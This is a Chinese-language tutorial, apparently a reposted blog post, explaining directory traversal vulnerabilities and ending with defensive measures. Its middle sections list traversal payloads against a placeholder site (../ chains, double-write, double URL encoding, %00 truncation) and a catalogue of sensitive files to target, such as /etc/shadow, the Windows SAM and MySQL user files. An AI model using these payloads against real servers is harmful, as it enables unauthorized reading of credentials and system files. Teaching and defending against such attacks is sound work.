一、前言
目录遍历(路径遍历)是由于Web服务器或者Web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,是针对Windows IIS和 Apache 的一种常见攻击。使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以是Web根目录以外的文件即受限文件),甚至执行系统命令 cmd.exe /c 提取目录信息或在Web服务器的根目录外执行命令。该漏洞常常出现在文件读取或者展示图片等对文件读取交互的功能块。
二、原理
目录遍历是一种允许攻击者在未授权的状态下读取应用服务上任意文件的安全漏洞。这包括应用代码、数据、凭证以及操作系统的敏感文件。在有些情况下,攻击者还可能对服务器里的文件进行任意写入,更改应用数据甚至完全控制服务器。
程序在实现上没有充分过滤用户输入的目录跳转符(如../),导致用户可以恶意提交目录跳转,实现服务器上的任意文件遍历。
三、攻击手法
比如:http://www.test.com/index.php?file=image1.jpg,服务器拼接成c://test/static/imgs/image1.jpg
1**、直接使用../**
payload:
http://www.test.com/index.php?file=../imgs/image1.jpg
http://www.test.com/index.php?file=../../../../windows/win.ini
http://www.test.com/index.php?file=../../../../windows/win.ini%00.jpg
2****、使用绝对路径
payload:
http://www.test.com/index.php?file=/etc/passwd
http://www.test.com/index.php?file=/etc/passwd%00.jpg
3****、使用双写
payload:
http://www.test.com/index.php?file=....//imgs/image1.jpg
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini%00.jpg
4****、加密参数
http://www.test.com/index.php?file=aW1hZ2UxLmpwZw== 参数file的数据采用Base64加密,而攻击中只需要将数据进行相应的解密即可入侵,采用一些常见、规律性的加密方式也是不安全的。
5****、二次编码
采用不同的编码进行过滤型绕过,比如通过对参数进行url编码提交来绕过。 . : %2 / : %2f %:%25(双重编码) 注意:服务器会先进行url解码,再加上get协议本身会进行一次url解码,所以进行两次url编码
6****、截断绕过
当程序系统设置了后缀名检测的时候,可以通过"%00"截断来绕过。 比如:../windows/win.ini%00.jpg等价于../windows/win.ini;在Unix的系统中也可以使用Url编码的换行符%0a,也可以尝试%20。
四、常见系统文件路径
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/etc/passwd #查看用户文件
/etc/shadow #查看密码文件,如果能读取该文件说明是root权限
/etc/httpd/conf/httpd.conf #查看apache的配置文件
/root/.bash_history #查看历史命令
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9] *(文件标识符)
/proc/mounts
/root/.ssh/known_hosts
程序配置文件
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf
五、防御措施
1. 限制用户输入的路径在某一个范围内。
2. 标准化所有字符
当用户请求访问文件/目录时,直接标准化所有字符,将所有字符转换成 url 编码,这样做之后,到了服务器手上不会解析成../,就不存在目录遍历了。
3. 验证用户的输入是否在白名单那内
也就是限制用户请求资源,对于少量的文件(例如都是图像),写正则表达式批量规范请求资源的白名单,这样可以做到完美防御目录遍历漏洞。
版权归原作者 浪久1 所有, 如有侵权,请联系我们删除。